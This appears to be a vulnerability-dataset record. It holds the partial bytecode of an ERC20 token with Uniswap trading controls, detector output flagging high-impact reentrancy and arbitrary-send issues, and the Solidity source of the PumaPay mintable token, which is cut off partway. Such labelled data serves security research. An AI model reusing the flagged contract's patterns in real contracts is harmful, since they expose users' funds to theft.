ffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208bd0957e38a56dfe10c2fceb061ce2effb103c98e6d987c0372045de491a6ff664736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,995 |
0x846c66cf71c43f80403b51fe3906b3599d63336f
|
pragma solidity 0.4.19;
// File: node_modules/zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: node_modules/zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/PumaPayToken.sol
/// PumaPayToken inherits from MintableToken, which in turn inherits from StandardToken.
/// Super is used to bypass the original function signature and include the whenNotMinting modifier.
contract PumaPayToken is MintableToken {
string public name = "PumaPay";
string public symbol = "PMA";
uint8 public decimals = 18;
function PumaPayToken() public {
}
/// This modifier will be used to disable all ERC20 functionalities during the minting process.
modifier whenNotMinting() {
require(mintingFinished);
_;
}
/// @dev transfer token for a specified address
/// @param _to address The address to transfer to.
/// @param _value uint256 The amount to be transferred.
/// @return success bool Calling super.transfer and returns true if successful.
function transfer(address _to, uint256 _value) public whenNotMinting returns (bool) {
return super.transfer(_to, _value);
}
/// @dev Transfer tokens from one address to another.
/// @param _from address The address which you want to send tokens from.
/// @param _to address The address which you want to transfer to.
/// @param _value uint256 the amount of tokens to be transferred.
/// @return success bool Calling super.transferFrom and returns true if successful.
function transferFrom(address _from, address _to, uint256 _value) public whenNotMinting returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde0314610118578063095ea7b3146101a657806318160ddd1461020057806323b872dd14610229578063313ce567146102a257806340c10f19146102d1578063661884631461032b57806370a08231146103855780637d64bcb4146103d25780638da5cb5b146103ff57806395d89b4114610454578063a9059cbb146104e2578063d73dd6231461053c578063dd62ed3e14610596578063f2fde38b14610602575b600080fd5b34156100f657600080fd5b6100fe61063b565b604051808215151515815260200191505060405180910390f35b341561012357600080fd5b61012b61064e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b6101e6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106ec565b604051808215151515815260200191505060405180910390f35b341561020b57600080fd5b6102136107de565b6040518082815260200191505060405180910390f35b341561023457600080fd5b610288600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e8565b604051808215151515815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610819565b604051808260ff1660ff16815260200191505060405180910390f35b34156102dc57600080fd5b610311600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061082c565b604051808215151515815260200191505060405180910390f35b341561033657600080fd5b61036b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a12565b604051808215151515815260200191505060405180910390f35b341561039057600080fd5b6103bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca3565b6040518082815260200191505060405180910390f35b34156103dd57600080fd5b6103e5610ceb565b604051808215151515815260200191505060405180910390f35b341561040a57600080fd5b610412610db3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045f57600080fd5b610467610dd9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a757808201518184015260208101905061048c565b50505050905090810190601f1680156104d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ed57600080fd5b610522600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e77565b604051808215151515815260200191505060405180910390f35b341561054757600080fd5b61057c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ea6565b604051808215151515815260200191505060405180910390f35b34156105a157600080fd5b6105ec600480803573ff